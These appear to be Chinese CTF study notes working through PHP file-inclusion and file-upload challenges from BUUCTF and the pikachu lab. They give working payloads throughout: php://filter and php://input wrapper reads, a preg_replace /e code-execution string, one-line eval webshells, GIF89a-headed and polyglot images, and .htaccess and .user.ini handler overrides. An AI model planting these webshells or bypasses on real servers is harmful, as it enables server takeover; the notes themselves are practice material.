文件包含漏洞
- 不多说了 直接做题
1.[HCTF 2018]WarmUp
- F12进入source.php文件
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 是道文件包含的代码审计 重点在checkfile函数
- 直接给payload
file=hint.php?../../../../../ffffllllaaaagggg
2.[ACTF2020 新生赛]Include
- 这道题刚进去就能看见url上有个刺眼的?file=flag.php
- 很明显是给文件包含漏洞
- 利用php伪协议去获取自己想要的东西
- 想法一:php://filter
- 利用php://filter伪协议去获得flag.php的源码
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
- 访问后经过一次base64的解码就能得到想要的flag了
- 顺便获取了一下源码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
- 看了眼代码 把我的想法二打消了
3.[极客大挑战 2019]Secret File
- F12查看源码 发现Archive_room.php文件
- 进去点击secret直接跳转到end.php界面 源码中有个action.php
- 抓个包
- 发现secr3t.php 访问进去是个php代码审计
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
- 和上题一样是个include文件包含漏洞,照例可以用php://filter
file=php://filter/resource=flag.php
想直接读取flag失败了
- 读源码
php://filter/read=convert.base64-encode/resource=flag.php
- base64解码得到flag
4.[BJDCTF2020]ZJCTF 不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
- file_get_contents()-----把整个文件读入一个字符串中
- 既然这样就不难简单的令text的值是I have a dream
- 这里有两个解法
?text=php://input
然后post提交I have a dream
或者?text=data://text/plain,I have a dream
- 文件包含处给了提示next.php
- ?file=php://filter/read=convert.base64-encode/resource=next.php
- base64解码得到next.php文件内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
- 这里推荐大家一个文章:perg_replace与代码执行
- 看完就会构造payload了
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
or
/next.php?\S*=${eval($_POST[shell])}
然后post上传shell=system('cat /flag')
文件上传
1.概述
- 存在原因:如果服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况
- 危害:非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器
2.常见类型
2.1JS检测绕过攻击
- 两种方法
- 第一种,删除JS中检测文件的代码,pikachu平台中刚好有例子 顺手记一下笔记
- 第二种,上传的文件改为允许的后缀绕过js检测后再抓包,把后缀名改为可执行的文件
pikachu平台client check实例
-
第一种
-
我们上传一个一句话木马文件,他会愉快的提示文件不符合要求
-
F12查看一下源码
<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)">
-
发现uploadfile上有个change属性会检查文件类型 直接删去 就可以上传成功了
-
http://127.0.0.1/pikachu-master/vul/unsafeupload/uploads/yijuhua.php/?X=ipconfig
就可以利用一句话木马了 -
第二种
-
将一句话木马改为jpg文件 上传抓包
-
filename="yijuhua.jpg"改为filename="yijuhua.php"就上传成功了
2.2文件后缀名绕过
- 文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传
- 但是有些Apache是允许解析其他文件后缀名,例如httpd.conf中配置以下代码
AddType application/x-httpd-php .php .phtml
- 此外,在Apache的解析顺序中,是从右到左解析文件的后缀的,如果最左侧不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。
2.3文件类型绕过攻击
- 服务端处理上传文件利用 F I L E S [ ′ f i l e ′ ] [ ′ t y p e ′ ] 是 不 是 图 片 的 格 式 , 如 果 不 是 则 不 允 许 上 传 该 文 件 , 而 _FILES['file']['type']是不是图片的格式,如果不是则不允许上传该文件,而 FILES[′file′][′type′]是不是图片的格式,如果不是则不允许上传该文件,而_FILES[‘file’][‘type’]是客户端请求数据包中的Content-Type,所以可以修改其值绕过。
pikachu MIME type实例
- 传入php文件抓包
- 将里面的Content-Type值改为Content-Type: image/jpeg 就可以成功上传了
Getimagesize
-
getimagesize()函数返回结果中有文件大小和文件类型,但是这个函数判断文件大小会存在问题
-
因为可以制造木马图片:将图片和一句话木马相结合
-
打开windows命令行输入
copy /b xxx.png + xxx.php aaa.png
就可以制造出一个叫aaa的木马图片 -
看一下它的二进制,可以看见
<?php phpinfo();?>
已经被加进去图片里去了
-
难点在于图片上传后怎么利用
-
pikachu平台中刚好有文件包含漏洞 猜测一下图片保存的路径然后上传进去
../../unsafeupload/uploads/2021/01/28/2186476012ae279acaf386554642.png
-
include()函数只会警告不会暂停允许
-
就可以成功利用了
2.4 文件截断绕过攻击
- 截断类型:PHP%00截断
- 原理:00代表结束符,所以会把00后面的所有字符删除
- 截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为off状态
buuctf
- 最近才学了upload上传漏洞,做了点buuctf的题目练习一下
[ACTF2020 新生赛]Upload
- 进入页面先F12查看一下是否网站在前端设置了文件上传类型的限制
- 删掉前端源码中的return checkFile()函数
- 上传文件 发现后端也对上传的文件类型进行了限制
- 在burpsuit修改一下文件类型,反复尝试,php3,PHP,phtml,phtml成功上传
- 上传成功后蚁剑连接一下,终端允许一下得到flag
[极客大挑战 2019]Upload
- 没找到前端的过滤代码,直接上传,发现要求是image
- 文件类型绕过,抓个包然后修改content-type为image/jpeg
- 页面返回NOT!PHP!
- 和上题一样反复修改文件后缀名,phtml可以成功
- 但是它返回有提示
NO! HACKER! your file included '<?';
,所以要修改文件内容 <script language="php">eval($_POST[shell]);</script>
于是我构造了这个新的绕过的payload- 它又提示这不是图片 这题用到了图片头 还是需要修改一下payload
GIF89a
<script language="php">eval($_POST[shell]);</script>
- 成功上传
- 蚂蚁剑连接
[MRCTF2020]你传你🐎呢 .htaccess
- 这道题用到了新的知识.htacess
- 写一下解题思路
- 先尝试了直接上传一句话木马 然后被操了
- 尝试上传一个jpg文件 可以成功上传 抓包 改文件名 改文件内容
- 修改文件名称为
shell.jpg
修改文件内容为<?php @eval($_POST['shell']);?>
- 成功上传
/var/www/html/upload/256c0b78ee7ac61ac44768f685002c66/shell.jpg succesfully uploaded!
- 接下来是如何使
shell.jpg
文件可以作为php文件执行 .htaceess文件可以改变文件后缀名 也就是说可以使别的类型文件按照另一种形式运行 比如接下来的.jpg文件可以当作.php文件解析
- 上传.htaceess文件
- 文件名称为
.htaccess
- 文件内容为
AddType application/x-httpd-php .jpg
或者还可以使用这种方式
# 如果文件里面有jpg则按php执行-----我没试过
<FilesMatch "jpg">
setHandler application/x-httpd-php
</FilesMatch>
- 上传成功后 蚁剑连接
[GXYCTF2019]BabyUpload .htaccess
- 边写边记录
- 先尝试上传了shell.php文件 抓包 提示后缀名不能有ph尝试了大小写绕过 并没有绕过
- 接着尝试了上传了.jpg 文件 提示上传类型太露骨
- 修改文件类型
- 改为
Content-Type:image/jpeg
send一下 有提示还是php
- 上面做题有说过<?的绕过 这里又用到了 将原本的`
<?php @eval($_POST[shell]);?>
改为
<script language='php'>eval($_POST[shell]);</script>
- 文件成功上传
- 接下来就是考虑一下这个shell.jpg格式的一句话木马怎么运行了
- 尝试上传.htaccess文件 内容为
AddType application/x-httpd-php .jpg
- 上传成功
- 连接蚂蚁剑 let’s go!!!
[SUCTF 2019]CheckIn .user.ini
- 这道题学到了新的知识.user.ini文件
- .user.ini文件构造后门文章
- 一开始我上传了.htaccess文件但是失效了 我以为是图片头的问题
- 后来搜寻资料发现是网页服务器的原因
curl -I URL
查看网页信息
- openresty是Nginx服务器所以.htaccess文件失效了!!!tmd
- 上传一句话木马这里<?被过滤了
<script language="php">eval($_POST[shell]);</script>
绕过
- 上传.user.ini文件
- 连接蚂蚁剑得到flag!!